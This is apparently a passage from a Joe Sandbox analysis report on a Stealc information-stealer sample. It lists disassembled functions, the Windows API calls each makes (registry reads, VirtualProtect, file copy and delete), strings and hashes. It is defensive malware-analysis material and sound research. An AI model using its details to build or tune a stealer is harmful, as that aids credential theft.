Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: dbc752a6777f0cbe973f3702365b0cc7e94add59d010d9d752f860b0cca79ac4
Instruction ID: eeb0530ac28122dc7b81af035a25a0cde7d620a3a42f6f949d8d91097ba24e7d
Opcode Fuzzy Hash: dbc752a6777f0cbe973f3702365b0cc7e94add59d010d9d752f860b0cca79ac4
Instruction Fuzzy Hash: C211A0B1A44205EBD708CF94DC49FBFBBBDFB44B01F104269FA09A7284D77498418BA2

Function 006312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 006312B4
HeapAlloc.KERNEL32(00000000), ref: 006312BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 006312F5
RegCloseKey.ADVAPI32(?), ref: 006312FF

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 4859acf301ef02447925c5ba09a68dd09369dd76db669f7f4acb0d4d22187b52
Instruction ID: cbd8f9437713797e06d99a6abed02a9304b65ef7bdd117e52ace84a90dd9966a
Opcode Fuzzy Hash: 4859acf301ef02447925c5ba09a68dd09369dd76db669f7f4acb0d4d22187b52
Instruction Fuzzy Hash: C70136B5A40208BBDB04DFD0DC4DFAEB7B8FB88701F008155FA0997284D671DA418F51

Function 00640740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F6D878), ref: 0064079A
StrCmpCA.SHLWAPI(00000000,00F6D958), ref: 00640866
StrCmpCA.SHLWAPI(00000000,00F6D818), ref: 0064099D

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Strings

`_d, xrefs: 00640A40, 00640A54, 00640803, 0064091B, 00640806, 0064091E, 00640A43

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_d
API String ID: 3722407311-3228235496
Opcode ID: 2e7a098c6b2d821ff55900095da119dae0e21e0b3696c623f55db9ef47c91f6b
Instruction ID: 13dfe33bbc72aca4629bb3a871d130147f6c835ac50e902b0cfb3dea3c3f8c3e
Opcode Fuzzy Hash: 2e7a098c6b2d821ff55900095da119dae0e21e0b3696c623f55db9ef47c91f6b
Instruction Fuzzy Hash: 43918875A10208AFDB68EF64D995AED77B7FF95300F40851CE80A9F241DB30DA05CB96

Function 00640765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00F6D878), ref: 0064079A
StrCmpCA.SHLWAPI(00000000,00F6D958), ref: 00640866
StrCmpCA.SHLWAPI(00000000,00F6D818), ref: 0064099D

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Strings

`_d, xrefs: 00640803, 0064091B, 00640806, 0064091E

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_d
API String ID: 3722407311-3228235496
Opcode ID: 7e0b14aa0d35760a69ce1c0e70cc25ce76b03f4e9ebff399f9006aac600bd9f2
Instruction ID: 468d16a46c6aad9f962afc8f6f854c0fb70d889a82ac7e5c7e7f54871433c0ca
Opcode Fuzzy Hash: 7e0b14aa0d35760a69ce1c0e70cc25ce76b03f4e9ebff399f9006aac600bd9f2
Instruction Fuzzy Hash: E3818875A10204AFDB68EF64D995AEDB7B7FF94300F50851CE8099F241DB30DA05CB86

Function 0063A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00F6D5B8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00640153), ref: 0063A0BD
LoadLibraryA.KERNEL32(00F6AEB8,?,?,?,?,?,?,?,?,?,?,?,00640153), ref: 0063A146

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A820: lstrlenA.KERNEL32(00000000,?,?,00645B54,00650ADB,00650ADA,?,?,00646B16,00000000,?,00F61410,?,0065110C,?,00000000), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(e,00000000), ref: 0064A885

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

SetEnvironmentVariableA.KERNEL32(00F6D5B8,00000000,00000000,?,006512D8,?,00640153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps,00650AFE), ref: 0063A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps, xrefs: 0063A0B2, 0063A0C6, 0063A0DC

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps
API String ID: 2929475105-2718090995
Opcode ID: 210012edc2794d7c9deb294a9f4401bd0e660a161f13e17be94f39cd248a6245
Instruction ID: c575e73167f5ffb42bc8e6c36cb4477b477af596bab393288996a8a1e2230615
Opcode Fuzzy Hash: 210012edc2794d7c9deb294a9f4401bd0e660a161f13e17be94f39cd248a6245
Instruction Fuzzy Hash: 054140B1901104AFD74CEFA4ED49AAE33B6BB95306F18011CF549932A5DB34D9C4DBA3

Function 00636BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jnc,@Jnc), ref: 00636C9F

Strings

@Jnc, xrefs: 00636C80, 00636C83
Jnc, xrefs: 00636BED, 00636C0D, 00636C8F
Jnc, xrefs: 00636C1D, 00636C39, 00636C88, 00636C98, 00636C04, 00636C28, 00636C33

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jnc$Jnc$Jnc
API String ID: 544645111-3642940110
Opcode ID: ac60f16fa91d4ebcfd0e1b016e7e82d33922cefcd3945fd0f92a02a43bea47bd
Instruction ID: 97b9321abcb4402395608f8e8e1eb9bdbf69592c79ac60ed6dddab853fb1682c
Opcode Fuzzy Hash: ac60f16fa91d4ebcfd0e1b016e7e82d33922cefcd3945fd0f92a02a43bea47bd
Instruction Fuzzy Hash: 9E21E774A00208EFDB04CF89C594BADBBB2FB48305F10D199E599AB351D735AA81DFC0

Function 0063A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(?,00F64A00,006505AE,?,?,?,?,?,?,?,?,?,00634963,?,00000014), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0063A3FF
lstrlenA.KERNEL32(00000000), ref: 0063A6BC

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00639E10: memcmp.MSVCRT(?,v20,00000003), ref: 00639E2D

DeleteFileA.KERNEL32(00000000), ref: 0063A743

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 92e3e6a59bf3d8d42059d5403b20a3b770a16da3f66ade82e04a04b81b446e35
Instruction ID: 7f83449a0e803c907e4ad6bfaa57fa6881e1b7e9c5a40fa007201f597ab5c66b
Opcode Fuzzy Hash: 92e3e6a59bf3d8d42059d5403b20a3b770a16da3f66ade82e04a04b81b446e35
Instruction Fuzzy Hash: 8DE1ED72850108AAEB48EBE4DC96EEE733AFF54304F50815DF51676091EF306A49CB6A

Function 0063D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(?,00F64A00,006505AE,?,?,?,?,?,?,?,?,?,00634963,?,00000014), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063D801
lstrlenA.KERNEL32(00000000), ref: 0063D99F
lstrlenA.KERNEL32(00000000), ref: 0063D9B3
DeleteFileA.KERNEL32(00000000), ref: 0063DA32

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 40bb1e1230fb3e84e45834131b26c15e9950f55d00814b338ebf615f8a6ec7c6
Instruction ID: 5959b264d08407b8f15bbf15420adb6956d90cad42ee2810ce7c355b212ce356
Opcode Fuzzy Hash: 40bb1e1230fb3e84e45834131b26c15e9950f55d00814b338ebf615f8a6ec7c6
Instruction Fuzzy Hash: 10810072950104AAEB48FBE0DC96EEE733AFF54304F51452CF406A6091EF346A49CBA6

Function 0063F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

